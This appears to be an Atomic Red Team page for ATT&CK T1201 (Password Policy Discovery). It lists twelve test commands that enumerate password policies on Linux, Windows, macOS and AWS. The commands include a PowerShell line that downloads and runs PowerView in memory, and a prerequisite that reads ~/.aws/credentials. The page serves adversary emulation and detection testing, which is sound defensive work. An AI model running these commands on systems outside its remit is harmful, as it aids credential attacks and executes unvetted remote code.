T1201
Password Policy Discovery
Description from ATT&CK
Adversaries may attempt to access detailed information about the password policy used within an enterprise network or cloud environment. Password policies are a way to enforce complex passwords that are difficult to guess or crack through Brute Force. This information may help the adversary to create a list of common passwords and launch dictionary and/or brute force attacks which adheres to the policy (e.g. if the minimum password length should be 8, then not trying passwords such as 'pass123'; not checking for more than 3-4 passwords per account if the lockout is set to 6 as to not lock out accounts).
Password policies can be set and discovered on Windows, Linux, and macOS systems via various command shell utilities such as net accounts (/domain), Get-ADDefaultDomainPasswordPolicy, chage -l <username>, cat /etc/pam.d/common-password, and pwpolicy getaccountpolicies (Citation: Superuser Linux Password Policies) (Citation: Jamf User Password Policies). Adversaries may also leverage a Network Device CLI on network devices to discover password policy information (e.g. show aaa, show aaa common-criteria policy all).(Citation: US-CERT-TA18-106A)
Password policies can be discovered in cloud environments using available APIs such as GetAccountPasswordPolicy in AWS (Citation: AWS GetPasswordPolicy).
Atomic Tests
Atomic Test #1 - Examine password complexity policy - Ubuntu
Lists the password complexity policy to console on Ubuntu Linux.
Supported Platforms: linux
auto_generated_guid: 085fe567-ac84-47c7-ac4c-2688ce28265b
Inputs:
None
Attack Commands: Run with bash!
1
2
cat /etc/pam.d/common-password
Atomic Test #2 - Examine password complexity policy - FreeBSD
Lists the password complexity policy to console on FreeBSD.
Supported Platforms: freebsd
auto_generated_guid: a7893624-a3d7-4aed-9676-80498f31820f
Inputs:
None
Attack Commands: Run with sh!
1
2
cat /etc/pam.d/passwd
Atomic Test #3 - Examine password complexity policy - CentOS/RHEL 7.x
Lists the password complexity policy to console on CentOS/RHEL 7.x Linux.
Supported Platforms: linux
auto_generated_guid: 78a12e65-efff-4617-bc01-88f17d71315d
Inputs:
None
Attack Commands: Run with bash!
1
2
cat /etc/security/pwquality.conf
Dependencies: Run with bash!
Description: System must be CentOS or RHEL v7
Check Prereq Commands:
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2
if [ $(uname -a | grep -ioP 'el[0-9]' | grep -oP '[0-9]') -eq "7" ]; then exit 0; else exit 1; fi;
Get Prereq Commands:
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echo Please run from CentOS or RHEL v7
Atomic Test #4 - Examine password complexity policy - CentOS/RHEL 6.x
Lists the password complexity policy to console on CentOS/RHEL 6.x Linux.
Supported Platforms: linux
auto_generated_guid: 6ce12552-0adb-4f56-89ff-95ce268f6358
Inputs:
None
Attack Commands: Run with bash!
1
2
3
cat /etc/pam.d/system-auth
cat /etc/security/pwquality.conf
Dependencies: Run with bash!
Description: System must be CentOS or RHEL v6
Check Prereq Commands:
1
2
if [ $(rpm -q --queryformat '%{VERSION}') -eq "6" ]; then exit /b 0; else exit /b 1; fi;
Get Prereq Commands:
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echo Please run from CentOS or RHEL v6
Atomic Test #5 - Examine password expiration policy - All Linux
Lists the password expiration policy to console on CentOS/RHEL/Ubuntu.
Supported Platforms: linux
auto_generated_guid: 7c86c55c-70fa-4a05-83c9-3aa19b145d1a
Inputs:
None
Attack Commands: Run with bash!
1
2
cat /etc/login.defs
Atomic Test #6 - Examine local password policy - Windows
Lists the local password policy to console on Windows.
Supported Platforms: windows
auto_generated_guid: 4588d243-f24e-4549-b2e3-e627acc089f6
Inputs:
None
Attack Commands: Run with command_prompt!
1
2
net accounts
Atomic Test #7 - Examine domain password policy - Windows
Lists the domain password policy to console on Windows.
Supported Platforms: windows
auto_generated_guid: 46c2c362-2679-4ef5-aec9-0e958e135be4
Inputs:
None
Attack Commands: Run with command_prompt!
1
2
net accounts /domain
Atomic Test #8 - Examine password policy - macOS
Lists the password policy to console on macOS.
Supported Platforms: macos
auto_generated_guid: 4b7fa042-9482-45e1-b348-4b756b2a0742
Inputs:
None
Attack Commands: Run with bash!
1
pwpolicy getaccountpolicies
Atomic Test #9 - Get-DomainPolicy with PowerView
Utilizing PowerView, run Get-DomainPolicy to return the default domain policy or the domain controller policy for the current domain or a specified domain/domain controller.
Supported Platforms: windows
auto_generated_guid: 3177f4da-3d4b-4592-8bdc-aa23d0b2e843
Inputs:
None
Attack Commands: Run with powershell!
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3
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1' -UseBasicParsing); Get-DomainPolicy -verbose
Atomic Test #10 - Enumerate Active Directory Password Policy with get-addefaultdomainpasswordpolicy
The following Atomic test will utilize get-addefaultdomainpasswordpolicy to enumerate domain password policy. Upon successful execution a listing of the policy implemented will display. Reference: https://docs.microsoft.com/en-us/powershell/module/activedirectory/get-addefaultdomainpasswordpolicy?view=windowsserver2022-ps
Supported Platforms: windows
auto_generated_guid: b2698b33-984c-4a1c-93bb-e4ba72a0babb
Inputs:
None
Attack Commands: Run with powershell!
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get-addefaultdomainpasswordpolicy
Atomic Test #11 - Use of SecEdit.exe to export the local security policy (including the password policy)
SecEdit.exe can be used to export the current local security policy applied to a host. Reference
Supported Platforms: windows
auto_generated_guid: 510cc97f-56ac-4cd3-a198-d3218c23d889
Inputs:
None
Attack Commands: Run with command_prompt! Elevation Required (e.g. root or admin)
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2
secedit.exe /export /areas SECURITYPOLICY /cfg output_mysecpol.txt
Atomic Test #12 - Examine AWS Password Policy
This atomic test will display details about the password policy for the current AWS account.
Supported Platforms: iaas:aws
auto_generated_guid: 15330820-d405-450b-bd08-16b5be5be9f4
Inputs:
None
Attack Commands: Run with sh!
1
2
aws iam get-account-password-policy
Dependencies: Run with sh!
Description: Check if ~/.aws/credentials file has a default stanza is configured
Check Prereq Commands:
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cat ~/.aws/credentials | grep "default"
Get Prereq Commands:
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echo Please install the aws-cli and configure your AWS defult profile using: aws configure